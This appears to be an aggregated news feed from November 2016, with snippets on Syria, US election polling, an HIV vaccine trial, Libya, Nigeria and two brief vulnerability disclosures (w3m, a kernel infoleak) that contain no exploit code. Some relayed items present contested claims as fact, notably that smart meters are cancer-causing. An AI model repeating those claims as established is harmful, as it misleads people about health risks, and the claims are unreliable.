Source: Berkeley Earth; Screenshot taken for 1:30 AM, October 31, 2016 IST/IndiaSpend

Source: Berkeley Earth; Screenshot taken for 1:30 AM, October 31, 2016 IST/IndiaSpend

PM 2.5 is fine particulate matter about 30 times finer than a human hair. These particles can be inhaled deep into the lungs, causing heart attacks, strokes, lung cancer and r...

18:40

Ankara vs Damascus: The al-Bab Impasse "IndyWatch Feed War"

Little boy waves at Turkish armored personnel carrier (APC) in northern Syria. Associated Press photo.

Little boy waves at Turkish armored personnel carrier (APC) in northern Syria. Associated Press photo.

Even before launching its intervention in northwest Syria on August 24 it was clear that Turkey would do its utmost to forcibly prevent Syria’s Kurds from dominating the entirety of Syria’s northern border.

Since June 2015 the Kurds have controlled the entirety of that northeastern border when they connected their two main cantons of Jazira and Kobani – territory which stretches from the Syrian border with Iraq all the way to the eastern bank of the Euphrates River. Turkey intervened in the remaining 100-kilometer-wide swath of territory stretching from the west bank of that river to the sole remaining isolated western Kurdish canton of Afrin – which was controlled by Islamic State (ISIS) militants and other armed groups.

Turkey’s intervention has two clear goals, forcing ISIS militants from the border and preventing the Kurds from joining Kobani with Afrin. Further south from the border sit the cities of Manbij and al-Bab. Manbij was captured by the Syrian Kurdish People’s Protection Units (YPG)-led Syrian Democratic Forces (SDF) in mid-August, after an offensive and siege that lasted almost three months, with close US air support and Turkish acquiescence – that was given in return for a US promise that the YPG contingent in the SDF would quickly withdraw back to the east bank of the Euphrates, which they have not.

Al-Bab is 50km west of Manbij. Turkey does not want the YPG to take al-Bab (and has began threatening to remove it from Manbij also), fearing that it w...

18:40

'Do not retreat in shame,' Baghdadi tells followers amid Mosul assault "IndyWatch Feed War"

Undefined

IS leader also calls on supporters to invade Turkey in first reported audio message since start of Mosul offensive last month

18:39

CVE request: w3m - multiple vulnerabilities "IndyWatch Feed Tech"

Posted by Kuang-che Wu on Nov 03

Following are security flaws that I reported to debian's w3m.
https://github.com/tats/w3m
(The original w3m project on sf.net https://sourceforge.net/projects/w3m/ is no
longer maintained for several years. Debian's w3m is the only fork still
maintained)

These issues are all fixed in 0.5.3-31 released at Oct 15, 2016.

Please assign CVEs if you think they are suitable for identifiers.

Serious issues
-...

18:39

POLLS BLOODY POLLS "IndyWatch Feed Pacific"

Less than a week out from election day and the lag effect of the fallout from HRC's email scandal (which may or may not be) is showing through in yesterday's poll numbers.

First with fivethirtyeight.com which has Clinton at a 68.8% chance of victory ... that's, down from 85% when the story first broke.   Next the Real Clear Politics (RCP) poll numbers ....

IBD/TIPP Tracking ... statistical tie
LA Times/USC Tracking ... Trump +6
ABC/Washington Post Tracking ... statistical tie
Rasmusson Reports ... statistical tie
Economist/YouGov ... Clinton +3

I think 538 more accurately reflects reality.   It incorporates the Electoral College vote which decides the election while RCP reflects the popular vote. 

Two further points ... if Julian Assange is to be believed there is going to be a further dump of  Clinton e-mails by Wikileaks.  Second, my understanding is that by election day upwards of half of those going to vote will have already exercised that right.   How that plays out is a moot.  

Still think crooked Hillary will win.

18:37

U.S. SEC Finding Insider Trading with Data Analysis Tools "IndyWatch Feed Tech"

http://www.reuters.com/article/us-usa-insidertrading-insight-idUSKBN12W2X4

When plumber Gary Pusey pleaded guilty in May to insider trading, it was a victory not just for New York prosecutors but for a little-known squad inside the U.S. Securities and Exchange Commission that uses data analysis to spot unusual trading patterns. Formed in 2010, the Analysis and Detection Center of the SEC's Market Abuse Unit culls through billions of rows of trading data going back 15 years to identify individuals who have made repeated, well-timed trades ahead of corporate news. The new strategy is starting to show results, enabling the SEC to launch nine insider trading cases, around 7 percent of cases the agency brought since 2014 against people who trade on confidential corporate information.

It signals a shift in how the agency initiates insider trading probes, which more often are launched based on referrals from Wall Street's self-regulator Financial Industry Regulatory Authority, or an informant's tip. "It's essentially the new frontier," said Andrew Ceresney, the SEC's enforcement director. "We have tremendous amounts of data available to use, and we've been developing tools to take advantage of that."


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18:36

This Recession Is Ordained By God, So Says, The Sultan Of Sokoto, Alhaji Muhammad Sa'ad Abubakar III "IndyWatch Feed Africa"

Yesterday, the Sultan of Sokoto, Alhaji Muhammad Sa'ad Abubakar III, said that this recession being experienced in the country and other parts of the world is ordained by God.

   ''The only solution to this is for us to show piety and repent. It is ordained by God.'' The President General of the Nigerian Supreme Council for Islamic Affairs (NSCIA) said.

Sultan Abubakar spoke in Sokoto yesterday as activities for his 10th coronation anniversary commenced with the distribution of items.

Items worth N9 million were shared out to 270 widows, orphans and other indigent persons at a ceremony organised by the state Zakkat and Endowment Committee.

The monarch also admonished the adherents of Islam and Christianity to live their lives according to the dictates of their Holy Scriptures.

18:34

SPIEGEL Interview with Architect Herzog: The Striking New Face of Hamburg "IndyWatch Feed World"


Architect Jacques Herzog has designed dozens of buildings together with his partner Pierre de Meuron. But his most controversial project to date, the Elbphilharmonie, is about to open in Hamburg. SPIEGEL spoke with Herzog about what the ...Read More

18:34

Never enough: $500million more needed for F-35, Pentagon told David Icke latest headlines

‘The US military will have to come up with another $500 million to finish development on the F-35 Joint Strike Fighter, the Pentagon planners have been told. Despite promises, the fifth-generation jet built by Lockheed Martin is not yet combat-ready. With a projected lifetime cost of $1.5 trillion, the F-35 is the most expensive weapons program in US history, and has been dubbed “the plane that ate the Pentagon.” Earlier this year, the Defense Department announced it would try to shave $4 billion off the program’s final price through a variety of cost-cutting measures.’ Read more: Never enough: $500million more needed for F-35, Pentagon told

18:32

kernel: fix minor infoleak in get_user_ex() "IndyWatch Feed Tech"

Posted by Shawn on Nov 03

Hi guys,

I suppose this bug should get a CVE number.

Info:
get_user_ex(x, ptr) should zero x on failure. It's not a lot of a leak
(at most we are leaking uninitialized 64bit value off the kernel
stack, and in a fairly constrained situation, at that), but the fix is
trivial, so... Cc: stable () vger kernel org Signed-off-by: Al Viro
[ This sat in different branch from the
uaccess fixes since mid-August ]...

18:31

Video: Top U.S. & World Headlines — November 1, 2016 "IndyWatch Feed Politics.us"

Visit http://democracynow.org to watch the full independent, global news hour, read the transcript, search our archive and to make a donation to support us. Via Youtube

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18:30

Explainer: The How, What and Why of the Latest HIV Vaccine Trial "IndyWatch Feed Asia"

As the global quest for an HIV vaccine continues, Linda-Gail Bekker explains the significance of the latest large-scale trial underway in South Africa.

Representational image. Credit: Eric Gaillard/Reuters

Representational image. Credit: Eric Gaillard/Reuters

What’s the significance of the trial for the global fight against HIV?

The world needs an HIV vaccine. Our prevention toolbox is better than it has ever been. But there is increasing recognition that the world needs to scale up primary HIV prevention.

Effective vaccination is the poster child for prevention – it is the thing we are missing. If we can get that, we can talk about eliminating HIV across the world.

It is fantastic that once again, a vaccine is being put into the field. The only way scientists can really learn and understand human immunity is through human clinical trials. I think everyone agrees that laboratory and animal research can only take us so far.

There has been a decrease in the incidence of HIV in some parts of the world. The best news is the impressive downturn in mother-to-child-transmission.

But this is an epidemic that needs constant surveillance because it is still on the rise in many parts of the world. We cannot be complacent. Reduction rates of adult infections are stalling. We are not on course to meet the targets set for 2030 to get the epidemic under control.

But we shouldn’t hang everything on getting a vaccine, as important as that is. The world also needs a primary prevention revolution. If we are really intent on getting the epidemic under control by 2030, we need a call to prevention action while working hard on a definitive vaccine.

What does the trial entail? How will it be done?

This trial – HVTN 702 – is based on a trial from Thailand in 2009 which showed a 31% reduction in HIV after three years. It is important to note that after 12 months the vaccines showed 60% efficacy.

In the South African study, we are hoping to increase the potency and durability of its effect to reach at least a 50% reduction in HIV infection after three year...

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Smart Meter Case Testimony Before The Pennsylvania Public Utility Commission: What No One Wants To Acknowledge About EMF Damage David Icke latest headlines

‘The following is the testimony I will present pro se [without a lawyer representing me] to the Pennsylvania Public Utility Commission’s Administrative Law Court, November 2 and 3, 2016 as a result of my not permitting an AMI Smart Meter to be retrofitted on to my electric service by PECO, an Exelon Company that provides electricity and service to the suburban Philadelphia where I live. This testimony addresses most of the health, legal, and constitutional issues, plus the politics involved regarding the unsafe and RF/EMF cancer-causing technology forced on consumers, along with threats of no electric service if utility customers refuse an AMI Smart Meter.’ Read more: Smart Meter Case Testimony Before The Pennsylvania Public Utility Commission: What No One Wants To Acknowledge About EMF Damage

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Sharia Police Prosecute 11 Kano Women For Alcohol, Canabis, Others "IndyWatch Feed Africa"

The Kano State Hisbah Board has commenced the prosecution of 11 women, who were caught drinking alcohol as well as smoking cannabis.

The women were also accused of engaging in amorous activities with men, who were not their husbands.

Ironically, there was no report on the arrest of the men, who engaged in alleged amorous activities with the women.

HIsbah Commander on Special Services, Mallam Salisu Umar, disclosed to newsmen that the suspects were nabbed in the Sabon Gari neighbourhood within the metropolis during a special patrol by the Fegge Local Government Office of the board.

According to him, the state has been practicing the Islamic legal code, which prohibits such illicit conduct.

Umar pointed out that four of the suspects were divorcees while one of them was carrying a three-month old pregnancy.

Umar explained that the suspects had been interrogated and charged to court.

The case has been adjourned till November 14, 2016.

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Russia to Cut Defense Budget by Almost 30 Percent "IndyWatch Feed World"

(GPA) Moscow – Many of the Western powers and a lot of mainstream and alternative media in the US have been talking quite a bit lately about the threat of an oncoming World War with Russia. In what is likely to come as a surprising revelation to them is Russia’s latest announcement that they’ll possibly be cutting large portions of their defense budget in the upcoming years.

Many of the western pro-Putin crowd may not have realized this but Russia has become heavily dependent on oil exports in the past few decades. Like the other nations who rely heavily on oil exports such as Venezuela or Saudi Arabia; Russia is feeling the same pinch of the sharp and sustained drop in oil prices. Along with the drop in oil prices, Russia – like Venezuela – is also under sanctions from the international community.

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Even Russia has reported the cuts on their own state sponsored media outlets. Granted, Russia won’t admit they’re being forced to choose between essential state functions and military spending but this is the most likely scenario. Also, keep in mind Russia’s military budget is only about 30% of the United States spending (without even factoring...

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Libya: Civilians Under Siege in Benghazi "IndyWatch Feed Africa"

(HRW) – Civilians have been trapped for months in a neighborhood of the eastern Libyancity of Benghazi, by fighting between the Libyan National Army (LNA) and Islamist militias that form the Benghazi Revolutionaries Shura Council (BRSC). All sides to the conflict in Benghazi should allow all civilians to leave the Ganfouda neighborhood, and allow for the safe passage of humanitarian aid into the neighborhood.

Ganfouda is one of the few remaining holdouts of militant Islamist groups in Benghazi. The LNA, which has Ganfouda under siege, has said it will not allow any evacuation of males between ages 15 and 65 and has set a series of other conditions. The Islamist coalition controlling the neighborhood has also set conditions for evacuation of civilians.

“The Libyan National Army should let any civilian who wants to leave the battle zone go, whatever their age or gender,” said Hanan Salah, senior Libya researcher at Human Rights Watch. “The presence of fighters nearby doesn’t give the LNA license to trap civilians in a battle zone facing near-starvation.”

The LNA, since early 2014 under the command of a retired general of the ousted Gaddafi government, Khalifa Hiftar, has gained control over territory in and around Benghazi since the outbreak of hostilities in May 2014. It has carried out air strikes and fired mortars on Ganfouda, killing or wounding an unknown number of civilians, and damaging infrastructure, Benghazi residents told Human Rights Watch.

The Islamist groups under the BRSC have shelled adjacent areas of Benghazi, killing and wounding civilians, and destroying property. They are also arbitrarily detaining about 100 supporters of the former Gaddafi government who were arrested during the 2011 revolution and held in Bouhdeima Military Prison in Benghazi until they were seized by militants in October 2014.

Affiliates of the Islamic State, also known as ISIS, are also opposing the LNA in Ganfouda.

Human Rights Watch spoke by cellphone with six Ganfouda residents, as well as with relatives abroad, activists, commanders, and representatives of the LNA and the BRSC. Residents said they live in constant fear of air strikes and have had no access to fresh food for months, no access to medical care with exception of one doctor with limited capacities, and limited drinking water. Electricity had been cut off for months, and only those residents who had a generator and fuel had access to some electricity. They said the intense fighting made them afraid to try to leave their neighborhood to get food and other necessities. They said they could not use a sea route in the coastal city, due to the LNA’s expansion of the siege to include coastal...

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"IndyWatch Feed World"

(GVO) – On the eve of the most important, most expensive election in the world, Central Asia’s rulers-for life have plenty of ammunition with which to dispute the value of a competitive domestic political system.

For long-time leaders in the post-Soviet region who champion a colourless and sometimes brutal authoritarian ‘stability’ over genuine electoral contests and basic individual rights, the current US presidential campaign, more than any other before, has demonstrated the divisive influence that populism and even simple political competition can have on a society.

Moreover, regardless of whoever claims victory on November 8, the citizens of the five “Stans” will be able to see something of their own countries’ systems in the new US President. The effect of that recognition might be a further erosion of the faith some of them once had in democracy in the traditional sense, and a deeper cynicism regarding the importance of public participation in politics.

Hilary Clinton: Political Dynasties

If former secretary of state Clinton, as is expected, becomes the next US president, it will bolster the view—reinforced following the presidencies of George H. W. Bush andGeorge W. Bush—that US politics is dominated by a handful of powerful families with access to a seemingly never-ending stream of funding for political campaigns.

The parallels with states like Azerbaijan, where President Ilham Aliyev succeeded his late father Heydar Aliyev more than a decade ago, and Kazakhstan, where many see 77-year-old President Nursultan Nazarbayev‘s daughter Dariga Nazarbayeva as a potential successor, are there to be made.

The point that Clinton is poised to take power through the ballot box rather than her predecessor’s death is moot. Discussions on social media in Central Asia point to the fact that in the United States, Barack Obama’s two-term presidency notwithstanding, the same families are propelled towards power by wealth rather than by the people.

Ironically, the United States has been more tolerant of political dynasties than the former Soviet Union. In Kyrgyzstan, President Askar Akayev and his successor Kurmanbek Bakiyev were both chased out of office whi...

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Eight Ways to Strengthen Our Democracy Beyond Voting "IndyWatch Feed World"

(OW) – Throughout this trying election season, we’ve been told how much is at stake with our vote. But the success of any democracy depends on continuing to pay attention long after we cast our ballots.

So let’s pledge to strengthen our democracy with a few resolutions to focus our intentions and keep us moving forward over the next four years.

1. Change your media diet.

Way too much ink, airtime, and mental real estate has been consumed by the horserace reporting on elections — it’s all about who’s winning and losing. So unplug from the talk shows that interview pollsters and engage in partisan bickering all day. Find the commentators and independent media outlets that strengthen our civic life.

2. Turn off corporate media.

This election has been very profitable for big media corporations, but bad for our democracy. As CBS chairman Les Moonves remarked, “Man, who would have expected the ride we’re all having right now? The money’s rolling in and this is fun.”

Our differences have been compounded by media reports that amplify the loudest and most partisan utterances. Election coverage this year has encouraged us to view one another as cartoon caricatures, not neighbors.

3. Reject the consumer mentality in elections.

We’re encouraged to view national elections like consumers buying a car, but presidential elections can make most of us feel like spectators, not participants. Election Day is a small part of our real democracy — think of voting as a tiny fraction of your civic life.

4. Make your voice heard.

Pledge to communicate with your elected officials all year round, not just when they want your vote. Call, write, email, and attend community forums. When a politician hears from a dozen constituents with the same concern, it matters.

A few resolutions must address our polarized political atmosphere. The only way to break through this is by connecting with people we don’t always agree with.

For instance, the liberal California sociologist Arlie Hochschild spent five years interviewing conservative Tea Party activists in Louisiana, making friends and asking deep questions.She urges us all to scale the “empathy wall” and learn each other’s stories.

Here’s a few easy ways to get started.

5.Try a social media fast.

Social media is amazing, but it mostly serves as an echo chamber to reinforce our existing views. It’s not a substitute for talking to people, asking questions, and learning why people support certain policies.

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Kenya rejects dismissal of UN Peacekeeping Force commander "IndyWatch Feed Africa"

Kenya is withdrawing troops from the UN peacekeeping force in South Sudan after the UN dismissed Lt-Gen Johnson Mogoa Kimani Ondieki as commander.

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Assange: WikiLeaks did not receive Clinton emails from Russian govt (EXCLUSIVE) "IndyWatch Feed War"

In an exclusive interview with John Pilger to be broadcast by RT on Saturday, whistleblower Julian Assange categorically denied that the troves of US Democratic Party and Clinton work and staff emails released this year have come from the Russian government.- “The Clinton camp has been able to project a neo-McCarthyist hysteria that Russia is responsible…

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I Find Myself Having Intercourse With Strange Women & Even Dogs -48Yrs Old Driver With Spiritual Problems Attempts Suicide (See His Letter) "IndyWatch Feed Africa"

The letter..

A driver, Jacob Elegbede, who attempted to hang himself behind a primary school in Zanda, a suburb of the Federal Capital Territory, Abuja, has blamed spiritual forces, saying  he did not know what came over him.

The 48-year old father of one stated that he was not himself when he climbed a tree in an attempt to commit suicide in a nearby bush, noting that he simply found himself on the tree along with the rope he wanted to use to kill himself.

Elegbede, who worked with a construction company in Abuja, twice attempted to hang himself on Saturday and Sunday, prompting his neighbours to alert policemen, who arrested him.

Before the suicide attempt, he had written a note in which took responsibility for the planned crime and also asked for forgiveness from his family and neighbours.

Elegbede, who hails from Badagry, Lagos, also listed the names of his creditors whom he owed various amounts, craving their forgiveness.

The suspect, in an interview with PunchMetro at the FCT Police Command, Abuja, on Wednesday, explained that his problem began about 18 months ago, when he started suffering from insomnia.

He said his situation got worse when he started having strange dreams and suffering from hot flashes in his head and chest.

He said, ''I also started having strange dreams in which I find myself having intercourse with strange women and even animals.

   ''I worship at the Mountain of Fire and Miracle church in Abuja, but I couldn’t go for prayers or deliverance because I work from Monday to Sunday and there was no time for any other thing. I believe my problem is spiritual because I can’t even explain how I found myself on the tree with a rope to hang myself.''

Asked about the suicide note that was recovered by the police, Elegbede, stated that he could not remember writing the said letter because he had no pen or paper in his room.

   ''I strongly bel...

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Forced Medication In Prison: Suicides From Injections Of Psychiatric Drugs Go Unnoticed David Icke latest headlines

‘In 2008, a man named Michael Heston hung himself in incarceration at Federal Medical Center in Rochester, Minnesota, after being forced to endure injections of psych meds involuntarily on a regular basis. He wrote to a medical freedom advocacy group called Mind Freedom begging for help, saying “I live in mortal fear,” and “The needle has me terrified, they just keep sticking me every two weeks and I feel like death.” Although the good people at Mind Freedom sent out a public request for help to assist him, the pain of this strange drug would eventually drive him to suicide, as certain psych meds including SSRI anti-depressants have been known to do.’ Read more: Forced Medication In Prison: Suicides From Injections Of Psychiatric Drugs Go Unnoticed

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Japan tightens financial squeeze on Russian borrowers after definitive ‘no’ over Kuril issue David Icke latest headlines

‘The government-backed Japan Bank for International Cooperation (JBIC) has extended restrictions on independent financing to Russian companies and financial institutions. JBIC said the restrictions are aimed at avoiding contravening US and EU sanctions against Moscow. However, the announcement comes a day after Russia reasserted its sovereignty over the Kuril Islands.’ Read more: Japan tightens financial squeeze on Russian borrowers after definitive ‘no’ over Kuril issue

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Johnson And Johnson Loses Yet Another Multimillion Dollar Case Over Baby Powder "IndyWatch Feed Europe"

By Brandon Turbeville In the latest development in the Johnson & Johnson talcum powder saga, a St. Louis jury has awarded a California woman over $70 million dollars as a result of her lawsuit claiming that years of using Johnson … Continue reading

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Leila Abdel Latif To Stop Her Show? "IndyWatch Feed World"

Everyone’s been mocking Leila Abdel Latif following the latest presidential elections in Lebanon after failing to predict Aoun’s win, and she’s apparently set to stop her show for now and focus on finishing her autobiography.

This wasn’t confirmed yet by LBCI but even if she does, I’m sure that she will be back because Lebanese love listening to these psychics and their stupid predictions for some reason. Speaking of these predictions, not only did Abdel Latif get the president’s name wrong but she predicted a president to be elected in November 2014! She also stated back then that “Former Prime Minister Saad Hariri to meet with French President Francois Hollande and US President Barack Obama, to return to Lebanon to congratulate new president”, which never happened.

Let’s not forget her irresponsible predictions and “warnings” against domestic workers where she told at one point Lebanese families who might think that their domestic workers are up to something to install cameras and she warns of “crimes”.

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Facebook could be associated with a longer life "IndyWatch Feed Tech"

Using Facebook may help you live longer, study finds

While Facebook is often criticized for cutting off family time and risking our children in this ever increasingly globalized world, on the other hand, there is a new study that suggests using Facebook can improve health and increase longevity.
The study was based on 12 million social media profiles made available to the researchers by Facebook, as well as records from the California Department of Health.

“Both comparisons between users and nonusers and between low users and high users suggest that social media use is predictive of lower mortality. Happily, for almost all Facebook users, what we found is balanced use and a lower risk of mortality,” said James Fowler, Professor at the University of California-San Diego.

“The association between longevity...

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A Gender-Neutral Domestic Violence Law Harms Rather Than Protects Women "IndyWatch Feed Asia"

The Supreme Court’s decision to include women and minors as perpetrators of domestic violence overlooks the ground realities of the lives of women in India.

Women block the roads as they sit in protest against domestic violence in Kolkata on Wednesday. Credit: PTI/Ashok Bhaumik

Women block the roads as they sit in protest against domestic violence in Kolkata on Wednesday. Credit: PTI/Ashok Bhaumik

In 2001, just for